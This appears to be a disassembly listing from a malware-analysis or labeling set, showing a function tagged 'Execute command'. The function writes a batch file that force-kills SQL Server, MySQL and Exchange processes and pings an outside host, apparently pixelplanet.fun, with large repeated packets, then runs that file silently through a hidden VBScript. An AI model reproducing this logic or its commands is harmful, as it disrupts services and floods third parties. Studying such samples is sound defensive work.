Function at 0x401510
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea eax, [ebp - 0x290]
lea ecx, [ebp - 0x298]
lea ebx, [ebp - 0x268]
sub esp, 0x2bc
mov esi, dword [ebp + 8]
mov dword [ebp - 0x298], eax
mov dword [esp + 4], 0x40c09d
mov dword [esp], str.pixelplanet.fun
call fcn.00401470
sub esp, 8
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0x40c09e
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x403560
mov dword [esp], ebx
call fcn.0040a910
mov dword [esp + 0xc], 7
mov dword [esp + 8], str.pinger_
mov ecx, ebx
mov dword [esp + 4], 0
mov dword [esp], 0
call fcn.004028b8
lea ebx, [ebp - 0x108]
lea edx, [eax + 8]
sub esp, 0x10
mov dword [ebp - 0x110], ebx
mov ecx, dword [eax]
cmp ecx, edx
je 0x402420
mov dword [ebp - 0x110], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x108], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x10c], ecx
mov dword [eax + 4], 0
mov byte [eax + 8], 0
mov dword [eax], edx
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x10c]
cmp eax, 3
jbe 0x4026b7
lea ecx, [ebp - 0x110]
mov dword [esp + 4], 4
mov dword [esp], str..bat
call fcn.004028a8
lea edx, [ebp - 0x278]
sub esp, 8
mov dword [ebp - 0x280], edx
mov ecx, dword [eax]
lea edx, [eax + 8]
cmp ecx, edx
je 0x402461
mov dword [ebp - 0x280], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x278], ecx
mov ecx, dword [eax + 4]
mov byte [eax + 8], 0
mov dword [ebp - 0x27c], ecx
mov dword [eax], edx
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x110]
cmp eax, ebx
je 0x40165a
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x268]
lea edx, [ebp - 0x260]
cmp eax, edx
je 0x401672
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
lea edi, [ebp - 0x238]
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0x40c09e
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x403560
mov dword [esp], edi
call fcn.0040a910
mov dword [esp + 0xc], 7
mov dword [esp + 8], str.pinger_
mov ecx, edi
mov dword [esp + 4], 0
mov dword [esp], 0
call fcn.004028b8
mov dword [ebp - 0x110], ebx
mov ecx, dword [eax]
lea edx, [eax + 8]
sub esp, 0x10
cmp ecx, edx
je 0x4024a2
mov dword [ebp - 0x110], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x108], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x10c], ecx
mov dword [eax + 4], 0
mov byte [eax + 8], 0
mov dword [eax], edx
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x10c]
cmp eax, 3
jbe 0x402645
lea ecx, [ebp - 0x110]
mov dword [esp + 4], 4
mov dword [esp], str..vbs
call fcn.004028a8
lea esi, [ebp - 0x248]
lea edx, [eax + 8]
sub esp, 8
mov dword [ebp - 0x250], esi
mov ecx, dword [eax]
cmp ecx, edx
je 0x4024e0
mov dword [ebp - 0x250], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x248], ecx
mov ecx, dword [eax + 4]
mov byte [eax + 8], 0
mov dword [ebp - 0x24c], ecx
mov dword [eax], edx
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x110]
cmp eax, ebx
je 0x40177e
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x238]
lea edx, [ebp - 0x230]
cmp eax, edx
je 0x401796
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
lea ecx, [ebp - 0x198]
lea ebx, [ebp - 0x208]
call fcn.00402888
mov esi, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_filebuf_char__std::char_traits_char___]
mov byte [ebp - 0x124], 0
mov eax, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
mov dword [ebp - reloc.libstdc_6.dll___gxx_personality_v0], sym.imp.libstdc_6.dll___gxx_personality_v0
mov dword [ebp - 0x128], 0
mov byte [ebp - 0x123], 0
mov ecx, dword [esi - 0xc]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x208], esi
add ecx, ebx
mov dword [ecx], eax
mov dword [esp], 0
call fcn.00402878
lea ecx, [ebp - 0x204]
sub esp, 4
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
mov dword [ebp - 0x198], 0x4103c8
call fcn.004028d8
lea eax, [ebp - 0x204]
lea ecx, [ebp - 0x198]
mov dword [esp], eax
call fcn.00402878
mov eax, dword [ebp - 0x280]
sub esp, 4
lea ecx, [ebp - 0x204]
mov dword [esp + 4], 0x30
mov dword [esp], eax
call fcn.004028e8
sub esp, 8
test eax, eax
mov ecx, ebx
mov eax, dword [ebp - 0x208]
je 0x402515
add ecx, dword [eax - 0xc]
mov dword [esp], 0
call fcn.00402870
lea ecx, [ebp - 0x1dc]
sub esp, 4
call fcn.00402910
test al, al
je 0x401fc4
mov dword [esp + 8], 9
mov dword [esp + 4], str._echo_off
mov dword [esp], ebx
call fcn.00402868
mov eax, dword [ebp - 0x208]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x18c]
test edi, edi
je 0x40272d
cmp byte [edi + 0x1c], 0
je 0x402220
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, ebx
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
mov dword [esp + 8], 0x1a
mov dword [esp + 4], str.taskkill__f__im_mysqld.exe
mov dword [esp], ebx
call fcn.00402868
mov eax, dword [ebp - 0x208]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x18c]
test edi, edi
je 0x40271e
cmp byte [edi + 0x1c], 0
je 0x402290
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, ebx
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
mov dword [esp + 8], 0x1d
mov dword [esp + 4], str.taskkill__f__im_sqlwriter.exe
mov dword [esp], ebx
call fcn.00402868
mov eax, dword [ebp - 0x208]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x18c]
test edi, edi
je 0x402719
cmp byte [edi + 0x1c], 0
je 0x4022c3
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, ebx
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
mov dword [esp + 8], 0x1d
mov dword [esp + 4], str.taskkill__f__im_sqlserver.exe
mov dword [esp], ebx
call fcn.00402868
mov eax, dword [ebp - 0x208]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x18c]
test edi, edi
je 0x402714
cmp byte [edi + 0x1c], 0
je 0x402300
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, ebx
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
mov dword [esp + 8], 0x1b
mov dword [esp + 4], str.taskkill__f__im_MSExchange
mov dword [esp], ebx
call fcn.00402868
mov eax, dword [ebp - 0x208]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x18c]
test edi, edi
je 0x4026eb
cmp byte [edi + 0x1c], 0
je 0x402333
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, ebx
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
mov dword [esp + 8], 0x24
mov dword [esp + 4], str.taskkill__f__im_Microsoft.Exchange.
mov dword [esp], ebx
call fcn.00402868
mov eax, dword [ebp - 0x208]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x18c]
test edi, edi
je 0x402732
cmp byte [edi + 0x1c], 0
je 0x402370
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, ebx
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
mov dword [esp + 8], 5
mov dword [esp + 4], str.ping
mov dword [esp], ebx
call fcn.00402868
mov eax, dword [ebp - 0x294]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x298]
mov dword [esp + 4], eax
call fcn.00402868
mov dword [esp + 8], 0x10
mov dword [esp + 4], str.__n_1024__l_1000
mov edi, eax
mov dword [esp], eax
call fcn.00402868
mov eax, dword [edi]
mov eax, dword [eax - 0xc]
mov eax, dword [edi + eax + 0x7c]
test eax, eax
mov dword [ebp - 0x29c], eax
je 0x402728
mov eax, dword [ebp - 0x29c]
cmp byte [eax + 0x1c], 0
je 0x4023a3
movsx eax, byte [eax + 0x27]
mov dword [esp], eax
mov ecx, edi
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
lea ecx, [ebp - 0x204]
call fcn.004028e0
test eax, eax
je 0x4025e1
lea ecx, [ebp - 0xa0]
call fcn.00402888
mov byte [ebp - 0x2c], 0
lea ecx, [ebp - 0x110]
add ecx, dword [esi - 0xc]
mov eax, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
mov dword [ebp - 0xa0], sym.imp.libstdc_6.dll___gxx_personality_v0
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x2b], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x110], esi
mov dword [ecx], eax
mov dword [esp], 0
call fcn.00402878
lea ecx, [ebp - 0x10c]
sub esp, 4
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
mov dword [ebp - 0xa0], 0x4103c8
call fcn.004028d8
lea eax, [ebp - 0x10c]
lea ecx, [ebp - 0xa0]
mov dword [esp], eax
call fcn.00402878
mov eax, dword [ebp - 0x250]
sub esp, 4
lea ecx, [ebp - 0x10c]
mov dword [esp + 4], 0x30
mov dword [esp], eax
call fcn.004028e8
sub esp, 8
test eax, eax
lea ecx, [ebp - 0x110]
mov eax, dword [ebp - 0x110]
je 0x402602
add ecx, dword [eax - 0xc]
mov dword [esp], 0
call fcn.00402870
lea ecx, [ebp - 0xe4]
sub esp, 4
call fcn.00402910
test al, al
je 0x4020e0
lea eax, [ebp - 0x110]
mov dword [esp + 8], 0x2c
mov dword [esp + 4], str.Set_WshShell__CreateObject__WScript.Shell__
mov dword [esp], eax
call fcn.00402868
mov eax, dword [ebp - 0x110]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x94]
test edi, edi
je 0x40277d
cmp byte [edi + 0x1c], 0
je 0x4021b0
movsx eax, byte [edi + 0x27]
lea ecx, [ebp - 0x110]
mov dword [esp], eax
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
lea eax, [ebp - 0x110]
mov dword [esp + 8], 0x18
mov dword [esp + 4], str.WshShell.Run_chr_34____
mov dword [esp], eax
call fcn.00402868
mov eax, dword [ebp - 0x27c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x280]
mov dword [esp + 4], eax
lea eax, [ebp - 0x110]
mov dword [esp], eax
call fcn.00402868
mov dword [esp + 8], 0xe
mov dword [esp + 4], str.___chr_34___0
mov edi, eax
mov dword [esp], eax
call fcn.00402868
mov eax, dword [edi]
mov eax, dword [eax - 0xc]
mov eax, dword [edi + eax + 0x7c]
test eax, eax
mov dword [ebp - 0x29c], eax
je 0x402778
mov eax, dword [ebp - 0x29c]
cmp byte [eax + 0x1c], 0
je 0x4025a0
movsx eax, byte [eax + 0x27]
mov dword [esp], eax
mov ecx, edi
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
lea eax, [ebp - 0x110]
mov dword [esp + 8], 0x16
mov dword [esp + 4], str.Set_WshShell__Nothing
mov dword [esp], eax
call fcn.00402868
mov eax, dword [ebp - 0x110]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x94]
test edi, edi
je 0x40276a
cmp byte [edi + 0x1c], 0
je 0x402530
movsx eax, byte [edi + 0x27]
lea ecx, [ebp - 0x110]
mov dword [esp], eax
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
lea ecx, [ebp - 0x10c]
call fcn.004028e0
test eax, eax
je 0x402620
lea eax, [ebp - 0x218]
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x21c], 0
mov byte [ebp - 0x218], 0
mov dword [ebp - 0x220], eax
mov eax, dword [ebp - 0x24c]
add eax, 0x11
mov dword [esp], eax
call fcn.004028b0
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x21c]
sub esp, 4
cmp eax, 0x10
jbe 0x402737
lea ecx, [ebp - 0x220]
mov dword [esp + 4], 0x11
mov dword [esp], str.cscript___NoLogo
call fcn.004028a8
mov eax, dword [ebp - 0x24c]
sub esp, 8
lea ecx, [ebp - 0x220]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x250]
mov dword [esp], eax
call fcn.004028a8
mov eax, dword [ebp - 0x220]
sub esp, 8
mov dword [esp], eax
call sub.msvcrt.dll_system
test eax, eax
jne 0x4023e4
mov dword [esp + 8], 0x21
mov dword [esp + 4], str.VBS_script_executed_successfully.
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call fcn.00402868
mov eax, dword [sym.imp.libstdc_6.dll_std::cout]
mov eax, dword [eax - 0xc]
mov edi, dword [eax + 0x410418]
test edi, edi
je 0x4027de
cmp byte [edi + 0x1c], 0
je 0x402563
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, sym.imp.libstdc_6.dll_std::cout
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
mov eax, dword [ebp - 0x220]
lea ebx, [ebp - 0x218]
cmp eax, ebx
je 0x401e93
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
lea ecx, [ebp - 0x10c]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
mov dword [ebp - 0xa0], 0x4103c8
mov dword [ebp - reloc.libstdc_6.dll__ZTVSt15basic_streambufIcSt11char_traitsIcEE], sym.imp.libstdc_6.dll_vtable_for_std::basic_streambuf_char__std::char_traits_char___
call fcn.004028e0
lea ecx, [ebp - 0xe4]
call fcn.004028f0
lea ecx, [ebp - 0xf0]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
call fcn.004028c0
mov eax, dword [esi - 0xc]
mov ebx, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x110], esi
mov dword [ebp + eax - 0x110], ebx
mov dword [ebp - 0xa0], sym.imp.libstdc_6.dll___gxx_personality_v0
call fcn.00402880
lea ecx, [ebp - 0x204]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
mov dword [ebp - 0x198], 0x4103c8
mov dword [ebp - reloc.libstdc_6.dll__ZTVSt15basic_streambufIcSt11char_traitsIcEE], sym.imp.libstdc_6.dll_vtable_for_std::basic_streambuf_char__std::char_traits_char___
call fcn.004028e0
lea ecx, [ebp - 0x1dc]
call fcn.004028f0
lea ecx, [ebp - 0x1e8]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
call fcn.004028c0
mov eax, dword [esi - 0xc]
mov dword [ebp - 0x208], esi
lea ecx, [ebp - 0x198]
mov esi, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
mov dword [ebp + eax - 0x208], esi
mov dword [ebp - reloc.libstdc_6.dll___gxx_personality_v0], sym.imp.libstdc_6.dll___gxx_personality_v0
lea esi, [ebp - 0x248]
call fcn.00402880
mov eax, dword [ebp - 0x250]
cmp eax, esi
je 0x401f93
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x280]
lea esi, [ebp - 0x278]
cmp eax, esi
je 0x401fab
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x298]
lea ebx, [ebp - 0x290]
cmp eax, ebx
jne 0x4020cf
jmp 0x4020d7
mov dword [esp + 8], 0x1c
mov dword [esp + 4], str.Failed_to_create_batch_file.
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call fcn.00402868
mov eax, dword [sym.imp.libstdc_6.dll_std::cout]
mov eax, dword [eax - 0xc]
mov edi, dword [eax + 0x410418]
test edi, edi
je 0x402723
cmp byte [edi + 0x1c], 0
je 0x402253
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, sym.imp.libstdc_6.dll_std::cout
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
lea ecx, [ebp - 0x204]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
mov dword [ebp - 0x198], 0x4103c8
mov dword [ebp - reloc.libstdc_6.dll__ZTVSt15basic_streambufIcSt11char_traitsIcEE], sym.imp.libstdc_6.dll_vtable_for_std::basic_streambuf_char__std::char_traits_char___
call fcn.004028e0
lea ecx, [ebp - 0x1dc]
call fcn.004028f0
lea ecx, [ebp - 0x1e8]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
call fcn.004028c0
mov eax, dword [esi - 0xc]
mov dword [ebp - 0x208], esi
lea ecx, [ebp - 0x198]
mov esi, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
mov dword [ebp + eax - 0x208], esi
mov dword [ebp - reloc.libstdc_6.dll___gxx_personality_v0], sym.imp.libstdc_6.dll___gxx_personality_v0
lea esi, [ebp - 0x248]
call fcn.00402880
mov eax, dword [ebp - 0x250]
cmp eax, esi
je 0x4020a7
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x280]
lea esi, [ebp - 0x278]
cmp eax, esi
je 0x4020bf
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x298]
lea esi, [ebp - 0x290]
cmp eax, esi
je 0x4020d7
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], 0x1a
mov dword [esp + 4], str.Failed_to_create_VBS_file.
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call fcn.00402868
mov eax, dword [sym.imp.libstdc_6.dll_std::cout]
mov eax, dword [eax - 0xc]
mov edi, dword [eax + 0x410418]
test edi, edi
je 0x402773
cmp byte [edi + 0x1c], 0
je 0x4021e3
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, sym.imp.libstdc_6.dll_std::cout
call fcn.00402900
sub esp, 4
mov ecx, eax
call fcn.004028f8
lea ecx, [ebp - 0x10c]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
mov dword [ebp - 0xa0], 0x4103c8
mov dword [ebp - reloc.libstdc_6.dll__ZTVSt15basic_streambufIcSt11char_traitsIcEE], sym.imp.libstdc_6.dll_vtable_for_std::basic_streambuf_char__std::char_traits_char___
call fcn.004028e0
lea ecx, [ebp - 0xe4]
call fcn.004028f0
lea ecx, [ebp - 0xf0]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
call fcn.004028c0
mov eax, dword [esi - 0xc]
mov ebx, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x110], esi
mov dword [ebp + eax - 0x110], ebx
mov dword [ebp - 0xa0], sym.imp.libstdc_6.dll___gxx_personality_v0
call fcn.00402880
jmp 0x40201b
mov ecx, edi
call fcn.00402908
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x401c65
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x401c65
mov ecx, edi
call fcn.00402908
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x402120
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x402120
mov ecx, edi
call fcn.00402908
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x4018e0
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x4018e0
mov ecx, edi
call fcn.00402908
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x402004
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x402004
mov ecx, edi
call fcn.00402908
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x401932
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x401932
mov ecx, edi
call fcn.00402908
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x401984
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x401984
mov ecx, edi
call fcn.00402908
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x4019d6
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x4019d6
mov ecx, edi
call fcn.00402908
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x401a28
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x401a28
mov ecx, edi
call fcn.00402908
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x401a7a
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x401a7a
mov ecx, dword [ebp - 0x29c]
call fcn.00402908
mov eax, dword [ebp - 0x29c]
mov eax, dword [eax]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x401b07
mov dword [esp], 0xa
mov ecx, dword [ebp - 0x29c]
call edx
sub esp, 4
movsx eax, al
jmp 0x401b07
mov dword [esp + 8], 0x1c
mov dword [esp + 4], str.VBS_script_execution_failed.
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call fcn.00402868
mov eax, dword [sym.imp.libstdc_6.dll_std::cout]
mov eax, dword [eax - 0xc]
mov edi, dword [eax + 0x410418]
test edi, edi
jne 0x401e56
call fcn.00402860
nop
lea esi, [esi]
mov ecx, dword [eax + 0x10]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x29c], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x2a0], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x104], edi
mov edi, dword [ebp - 0x29c]
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x100], edi
mov edi, dword [ebp - 0x2a0]
mov dword [ebp - 0xfc], edi
jmp 0x4015c3
mov ecx, dword [eax + 0x10]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x29c], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x2a0], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x274], edi
mov edi, dword [ebp - 0x29c]
mov dword [ebp - 0x278], ecx
mov dword [ebp - 0x270], edi
mov edi, dword [ebp - 0x2a0]
mov dword [ebp - 0x26c], edi
jmp 0x401632
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0x10]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x29c], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x100], esi
mov esi, dword [ebp - 0x29c]
mov dword [ebp - 0x104], edi
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0xfc], esi
jmp 0x4016e7
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0x10]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x29c], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x240], esi
mov esi, dword [ebp - 0x29c]
mov dword [ebp - 0x244], edi
mov dword [ebp - 0x248], ecx
mov dword [ebp - 0x23c], esi
jmp 0x401756
add ecx, dword [eax - 0xc]
mov eax, dword [ecx + 0x14]
or eax, 4
mov dword [esp], eax
call fcn.00402870
jmp 0x40188c
mov ecx, edi
call fcn.00402908
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x401d5a
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x401d5a
mov ecx, edi
call fcn.00402908
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x401e64
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x401e64
mov ecx, dword [ebp - 0x29c]
call fcn.00402908
mov eax, dword [ebp - 0x29c]
mov eax, dword [eax]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40a970
je 0x401d02
mov dword [esp], 0xa
mov ecx, dword [ebp - 0x29c]
call edx
sub esp, 4
movsx eax, al
jmp 0x401d02
mov eax, dword [ebp - 0x208]
mov ecx, dword [eax - 0xc]
add ecx, ebx
mov eax, dword [ecx + 0x14]
or eax, 4
mov dword [esp], eax
call fcn.00402870
sub esp, 4
jmp 0x401b2e
add ecx, dword [eax - 0xc]
mov eax, dword [ecx + 0x14]
or eax, 4
mov dword [esp], eax
call fcn.00402870
jmp 0x401c0b
mov eax, dword [ebp - 0x110]
lea ecx, [ebp - 0x110]
add ecx, dword [eax - 0xc]
mov eax, dword [ecx + 0x14]
or eax, 4
mov dword [esp], eax
call fcn.00402870
sub esp, 4
jmp 0x401d85
mov dword [esp], str.basic_string::append
call fcn.00402850
mov esi, eax
mov eax, dword [ebp - 0x110]
cmp eax, ebx
je 0x402665
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov ebx, esi
mov eax, dword [ebp - 0x238]
lea edx, [ebp - 0x230]
cmp eax, edx
je 0x40267f
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x280]
lea esi, [ebp - 0x278]
cmp eax, esi
je 0x402697
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x298]
lea esi, [ebp - 0x290]
cmp eax, esi
je 0x4026af
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov dword [esp], ebx
call sub.libgcc_s_dw2_1.dll__Unwind_Resume
mov dword [esp], str.basic_string::append
call fcn.00402850
mov esi, eax
mov eax, dword [ebp - 0x110]
cmp eax, ebx
je 0x4026d7
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov ebx, esi
mov eax, dword [ebp - 0x268]
lea edx, [ebp - 0x260]
cmp eax, edx
jne 0x40268f
jmp 0x402697
call fcn.00402860
mov esi, eax
mov ecx, ebx
mov ebx, esi
call fcn.004028c8
mov eax, dword [ebp - 0x250]
lea esi, [ebp - 0x248]
cmp eax, esi
jne 0x402677
jmp 0x40267f
call fcn.00402860
call fcn.00402860
call fcn.00402860
call fcn.00402860
call fcn.00402860
call fcn.00402860
call fcn.00402860
mov dword [esp], str.basic_string::append
call fcn.00402850
mov esi, eax
mov eax, dword [ebp - 0x220]
lea edx, [ebp - 0x218]
cmp eax, edx
je 0x40275d
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
lea ecx, [ebp - 0x110]
call fcn.004028c8
jmp 0x4026f2
call fcn.00402860
mov esi, eax
jmp 0x40275d
call fcn.00402860
call fcn.00402860
call fcn.00402860
mov esi, eax
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa0], sym.imp.libstdc_6.dll___gxx_personality_v0
call fcn.00402880
jmp 0x4026f2
call fcn.00402860
jmp 0x402743